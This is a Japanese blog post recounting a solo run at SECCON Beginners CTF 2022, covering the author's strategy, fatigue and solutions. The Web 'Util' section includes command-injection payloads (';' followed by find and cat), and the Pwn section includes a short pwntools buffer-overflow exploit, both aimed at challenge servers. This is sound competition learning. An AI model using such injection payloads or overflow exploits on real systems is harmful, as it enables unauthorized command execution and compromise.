Learning cyber security by playing and enjoying CTFs

Cyber Security関係の雑記帳です。表明されているお気持ちなどは全て個人的なものであり、筆者が所属もしくは関係する組織・団体の意向とは一切関係ありません。

SECCON Beginners CTF 2022 参戦記

1. はじめに

 2022/6/4(土)14:00 JST ~ 6/5(日)14:00 JSTに開催された「SECCON Beginners CTF 2022」にチーム「N30Z30N」でソロ参加しました。この記事はその参戦記であり、主に「これからソロで CTF に取り組もうとしている方」に参考になればと、Writeup では書きづらい裏話などを述べたものです。

 なお、Crypto の Writeup につきましては、こちら(SECCON Beginners CTF (ctf4b) 2022 Writeup(Cryptoのみ) - Qiita)に上げてありますので、拙い内容ではありますが、併せて参考にしていただければ幸いに思います。

2. 参戦準備について

 競技時間は24時間ですが、前日のメンタル疲労がヤバく MP*1 がほぼ空だったので、Warmup は控えめとし MP の回復に努めました*2。またゲン担ぎとして、前日の夜はヒレカツ、当日昼はロースカツを食しました*3

 この CTF への参加目的は「サイバーセキュリティ関連技術力の向上」が第一*4ですが、折角の競技形式ですので極力得点を上げ、上位を狙うに越したことはありません。そこで作戦として、次のような構想*5を持って臨みました。

  • 1)まずは Crypto を全完する。できれば数時間以内で。(★ここで勢いをつける)
  • 2)次に、各分野の beginner レベルをクリアし、難易度 easy や solve の多いものから埋めていく。(★★一応このあたりが最低限クリアしたい目標)
  • 3)できれば Reversing は全完、その他の分野も easy は倒す。 (★★★ここまで行ければベスト)
  • 4)途中、延べ6~8時間の休憩(睡眠)をとる。

3. スタートは、まずまず

 まずは作戦通り、Crypto の問題を一通り眺め、解きやすそうな「PrimeParty(easy)」から解き始めました。その後、「CoughingFox(beginner)」、「Welcome(入れていなかったことに気付きここで入れた)」、「Command(easy)」と開始 1 時間で進みました。速い人はもっとハイペースで進みますが私は好調な時でもこのくらいのペース*6なので、前述した目標は十分達成できるとこの時はまだ思っていました。

4. ちょっと、気分転換

 Crypto の 「Unpredictable Pad(medium)」は RNG問題(乱数予想系の問題)が苦手なので後回し、Crypto ボス問の「omni-RSA(hard)」は Coppersmith のニオイがプンプンしていましたがちょっと触っただけではうまくいきそうもなかったので、先に他分野の beginner レベル問を倒すことにしました。

● Reversing - Quiz (beginner)

 対象をバイナリエディタで開いて「ctf4b」で検索かけたら*7すぐにフラグを発見できました。

フラグ:ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

● Web - Util (beginner)

 Web 問は得意ではなく、beginner レベルにも苦戦するのですが、この問題は比較的すんなり解けました。

 ping コマンドを実行する Web アプリが提供されます。POST で送った IP アドレスに対して サーバ上で ping コマンドを実行し、結果を返すものです。サーバ側では IP アドレスの内容をチェックしていないので、「;」で区切って他のコマンドを書けば好きなコマンドを実行できます。フォーム上では JS でチェックが走って面倒なのと、外部からの POST もノーチェックだったので、python の requests を使って post することにしました。json={"address": "; find / -type f -name flag*"}を送ってフラグが含まれていそうなファイルを特定し、json={"address": "; cat /flag_A74FIBkN9sELAjOc.txt"}を送ってフラグをゲットしました。

フラグ:ctf4b{al1_0vers_4re_i1l}

 この時点で 16:30 くらいでしたので、決して速くはありませんが着地点としては昨年並み*8に行けそうな感じでした。

5. pwn の beginner に大苦戦!

 ここで、 pwn の beginner レベル問に挑戦しました。簡単な BOF 問題だと思ってナメていたら、ローカルで通ってもリモートで通らないという謎現象に遭遇し、 HP も MP を大量消費。いろいろ試してみると、サーバから結果がちゃんと戻ってこないことが判明し、最初に指定する buffer に読み込ませる文字数が実際に送信するバイト数ギリギリだとダメっぽかったので、ヤケクソで 1000 を送ったら無事通りました。一応、使った exploit を上げておきます。

● Pwn - BeginnersBof (beginner)

from pwn import *
import sys

if 'remote' in sys.argv:
  r = remote('beginnersbof.quals.beginners.seccon.jp', 9000 )
else:
  r = process('./chall')

target_addr = 0x4011e6

print(r.recvline())
r.sendline(b"1000")
print(r.recvline())
buf = b"A"*40 + p64(target_addr)
print(buf)
r.sendline(buf)
r.interactive()

フラグ:ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

 この時点で 17:00 を過ぎ、そろそろお腹が減ってきたので食事の準備を開始。

6. typo しちゃったぞ

 休憩後(というか、晩飯を食べながら)、保留していた Crypto 問のうち「Unpredictable Pad(medium)」に着手。

 提供されたソースコードを眺めているうちに解法を思いつくも、「6656」を「6556」と typo する痛恨のミスになかなか気づかず、無駄に時間を溶かしてしまいました*9。 本質的にはメルセンヌ・ツイスタの状態復元をする問題で、先人の知恵を借りつつのフラグゲットは 20:10 頃でした。今から考えれば集中力が大分落ちていたので、この辺でスパッと 1 時間くらい休んだ方が良かったのかもしれません。

 その直後、やらかしたショックから MP を回復させるため Web 問の「gallery」に着手しました。

● Web - gellery (easy)

 ファイル検索をしてその結果としてファイルへのリンクを表示する Web アプリですが、キーワードの中に含まれる「flag」を「」(長さ0の文字列)に置換する "余計な" 機能があります。しかし、ここは「flflagag」を入力することでファイル名に「flag」を含むファイルを検索できました。

 「flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf」がヒットしますが、サイズ制限があってそのままではDLできないので、curl コマンドで分割ダウンロードしました。

curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "Range: bytes=0-9999" --output part1
curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "Range: bytes=10000-19999" --output part2

 最後に、コマンドプロンプトから以下のコマンドを実行して結合しました。バイナリエディタでもできますが、先般の typo の一件もあり手元が狂いそうだったので比較的安全なやり方を(無意識のうちに)選択しました。

 copy /b part1+part2 flag.pdf

フラグ:ctf4b{r4nge_reque5t_1s_u5efu1!}

 ここまでで 20:30。徐々に苦戦の様相を呈してきています。

7. 「defund/coppersmith」 が刺さらない。。。

 ここでようやく、Crypto のボス問「ommi-RSA(Hard)」に本格着手しました。ソースコードの長さが短い RSA 問は「大好物」なのですが、殊の外厄介でした。

 まず、明らかに Coppersmith の定理を使いそうな設定なのですが、未知数が邪魔でうまくいきません。仕方がないので 2 変数に対応している著名ツール「defund/coppersmith」でアタックするも空振り。MP も HP も尽きてきたので、気分転換に Reversing の解きやすそうな問題に着手しました。

●Reversing - Recursive (easy)

 ghidra で解析をし始めたのですが、python に移植してソルバに改造してフラグを出しました。

ct`*f4(+bc95".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_c_+8v.gbm(%$w(<h:1!c'ruv}@3`ya!r5&;5z_ogm0a9c23smw-.i#|w{8kepfvw:3|3f5<e@:}*,q>sg!bdkr0x7@>h/5*hi<749'|{)sj1;0,$ig&v)=t0fnk|03j"}7r{}ti}?_<swxju1k!l&db!j:}!z}6*`1_{f1s@3d,vio45<_4vc_v3>hu3>+byvq##@f+)lc91w+9i7#v<r;rr$u@(at>vn:7b`jsmg6my{+9m_-rypp_u5n*6.}f8ppg<m-&qq5k3f?=u1}m_?n9<|et*-/%fgh.1m(@_3vf4i(n)s2jvg0m4
table = open("table.txt").read()

def getindex(x, sz, index):
  if sz == 1:
    print(x,sz,index)
    return index
  else:
    h = sz // 2
    if x <= h:
      sz = h
      print(x,sz,index)
      return getindex(x, sz, index)
    else:
      sz = sz - h
      x = x - h
      print(x, sz, h**2+index)
      return getindex(x, sz, h**2+index)

flag = ""
for x in range(1, 0x26 +1):
  i = getindex(x, 0x26, 1)
  print(x, i)
  flag += table[i-1]

print(flag)

フラグ:ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

 う~ん、解析スピードと実装スピード共に遅っ!終わったのが 23:30 頃で、 HP もかなり消費、意識もだんだんボンヤリしてきていました。

8. 溶けまくって解けた

 いよいよ「このまま寝たら omni-RSA 解けないんじゃね?」疑惑が浮上して、寝付けなくなってしまいまいした。

 しかし意識は朦朧としていて、2:00 頃からは記憶も途切れ途切れとなる始末。

 で、この間何をしていたかというと、設問のスクリプトでいろいろテストして、defund/coppersmitが刺さるようパラメータをいろいろいじっていて、ついに「よっしゃ、刺さった!」となったのですが、本番のソルバではなぜか刺さらない。しかもパラメータの関係で処理速度が遅いので 1 回の試行に 1時間くらいかかるので、もうボロボロ。果たして、modulus の素因数の r が既知の状態で動かしていたことが判明し、おじゃん。

 ポキッと心が折れる音がしたところで、朝のいい時間となったので朝飯。

 そして、食後少し経ったところで「そういえば q は n の約数だから、 式は mod n ではなく mod q で立てればいいんじゃね?」ということに気づき、1 変数の式に作り直して small_roots を試行。しかし一向に刺さらない!

 果たして、small_roots の引数である Beta とか Epsilon とかを適当にいじってみて、Beta=0.2 にしたらようやく刺さったので 9:30 頃ようやくフラグをゲットして幕となりました。

 も~時間溶かしすぎで草。しかし、気持ち的にようやくホッとしたのも事実。

9. まだだ、まだ終わらんよ!

 競技時間は残り 4時間半くらい残っていたのですが、すでに限界を超えていたためほぼ何もできない状態でした。かろうじて一矢報いる感じで解いたのが Misc の phisher(easy)。

● Misc - phisher (easy)

 簡単に言えば、当該フォントで形状的に「www.example.com」と解釈されるような文字列を入れればヨシ、ということで、テキトーにそれっぽい文字列*10を入れました。

フラグ:ctf4b{n16h7_ph15h1n6_15_600d}

 このフラグゲットが 12:11。このあと HP と MP が残っていればあと 1 問くらい行けたかもしれませんが、以下の通り何もできませんでした*11

  • Misc - H2 (easy):main.go の存在を忘れ、capture.pcap だけを見ていてワカランとなった。
  • Pwn - raindrop (easy):"/bin/sh" をどこからか持ってこられればなぁ、みたいな感じで思考停止。
  • Web - textex (easy):エラー発生原因がわからず諦め。おそらく flag の中に含まれる{}をうまく処理できていなかったせい。
  • Web - Ironhand (medium):中身改ざんして "alg" : "none" と "admin" : "true" をやってみてもうまくいかないので諦め。

 そして意識が飛んだ次の瞬間、14:00 を過ぎてゲームセット。

10. おわりに:~Making good things better~

 最終的には、Welcome以外 11 問を解いて、1169pt で 60位/891teams でした。

 Crypto 全完できたのが救いですが、一番の心残りは pwn の raindeop を通せなかったことです。まぁ、Rev がほぼ手つかずとか、心残りがあまりにも多すぎるのですが・・・いいえ済んだこと。

 次回こそは「Crypto+Rev 全完、Pwn 2問以上倒す」をクリアの上、スコア的にも top 5% 以内を目指したいと思います。

*1:Mental Pointsの略。

*2:ダイの大冒険を視て"レオナ姫成分"の補給を期待するも本編に登場せず、無念。。。

*3:ゲン担ぎとしては実績イマイチなのが、長期戦の場合体力をつけることにもなるので継続中。

*4:これは人によって違うと思いますが、私はほとんどの場合これです。

*5:結果的にこの構想は Crypto の hard 問で苦戦したことにより破綻し、ほぼ無休で 24 時間走破するも、「★★」までしか達成できず、「やったぜ感」を抱くことはできませんでした。

*6:そもそも「競争」は嫌いなタチなので致し方ありません。

*7:Rev の baby レベル問に対しては儀式として必ず行ってます。

*8:31位/943teams。

*9:1時間くらい、なぜ刺さらないか悩んでいました。ホンマにアホ。

*10:HEX:CF89CF89CF89E280A4D0B5D185D0B0E285BFD180CE99D0B5E280A4E285BDCEBFE285BF

*11:Ζガンダムでクワトロ(シャア)の百式がボロボロになったのと同じような感じの戦闘不能状態。twitterで呟いた「まだだ、まだ終わらんよ。」のセリフがある意味マッチしすぎる状況でした。